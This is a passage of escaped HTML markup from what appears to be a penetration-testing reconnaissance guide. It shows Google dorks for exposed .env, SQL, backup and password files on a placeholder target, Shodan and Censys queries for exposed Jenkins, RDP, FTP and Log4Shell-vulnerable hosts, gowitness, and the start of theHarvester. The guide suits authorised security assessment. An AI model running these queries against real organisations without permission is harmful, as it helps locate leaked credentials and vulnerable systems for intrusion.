&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Exposed sensitive files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:pdf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:xls&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:xlsx&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:sql&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:env&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; filetype:log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Administration panels&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:admin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:login&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:dashboard&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; intitle:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;index&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; of&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Leaked credentials and configurations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; intext:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;password&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:conf&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:config&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:cfg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:bak&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:backup&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ext:old&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Exposed technology&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; intext:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;powered&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; by&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; intext:&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;phpMyAdmin&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# API endpoints&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:/api/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:/v1/&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; OR&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; inurl:/v2/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;automating-with-gowitness&quot;&gt;Automating with gowitness&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Screenshot of all subdomains found&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; subdomains.txt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gowitness&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --screenshot-path&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ./screenshots/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gowitness&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; report&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; serve&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;phase-3--shodan--censys&quot;&gt;Phase 3 — Shodan &amp;#x26; Censys&lt;/h2&gt;
&lt;p&gt;Search engines for devices and services exposed on the internet.&lt;/p&gt;
&lt;h3 id=&quot;shodan&quot;&gt;Shodan&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# CLI installation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; shodan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; init&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; YOUR_API_KEY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Search by organization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;org:\&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Target&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Company&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Filtering by ASN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;asn:AS12345&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Specific exposed services&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;hostname:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; port:22&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;hostname:target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; http.title:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Dashboard\&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Known vulnerabilities in infrastructure&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;org:\&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Target\&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vuln:CVE-2021-44228&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Download complete results&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; download&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --limit&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1000&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; results.json.gz&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;org:\&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Target&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Company&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;shodan&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; parse&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; results.json.gz&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --fields&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ip_str,port,hostnames,vulns&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;useful-shodan-queries&quot;&gt;Useful Shodan Queries&lt;/h3&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Query&lt;/th&gt;&lt;th&gt;What it finds&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&amp;#x26;quot;Target&amp;#x26;quot; http.title:&amp;#x26;quot;Jenkins&amp;#x26;quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Exposed Jenkins servers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&amp;#x26;quot;Target&amp;#x26;quot; product:&amp;#x26;quot;Apache Tomcat&amp;#x26;quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Tomcat without authentication&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&amp;#x26;quot;Target&amp;#x26;quot; http.favicon.hash:-1616143106&lt;/code&gt;&lt;/td&gt;&lt;td&gt;GitLab instances&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&amp;#x26;quot;Target&amp;#x26;quot; port:3389&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Exposed RDP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&amp;#x26;quot;Target&amp;#x26;quot; ssl.cert.subject.cn:&amp;#x26;quot;*.target.com&amp;#x26;quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Wildcard certificates&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;org:&amp;#x26;quot;Target&amp;#x26;quot; &amp;#x26;quot;220&amp;#x26;quot; &amp;#x26;quot;230 Login&amp;#x26;quot;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Active anonymous FTP&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;censys&quot;&gt;Censys&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# API via Python&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; censys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Search for hosts by certificate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;#x27;EOF&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; censys.search&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; import&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; CensysHosts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;h&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; CensysHosts&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;parsed.names:&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; services.tls.certificates.leaf_data.subject.organization:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;Target\&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; hit&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; h.search&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;query,&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; pages=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;hit[&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ip&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;], hit.get(&amp;#x26;quot;services&amp;#x26;quot;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;phase-4--theharvester&quot;&gt;Phase 4 — theHarvester&lt;/h2&gt;
&lt;p&gt;Collects emails, names, hosts, and IPs from public sources.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Installation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; https://github.com/laramies/theHarvester&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; theHarvester&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; requirements/base.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Basic collection with multiple sources&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; theHarvester.py&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
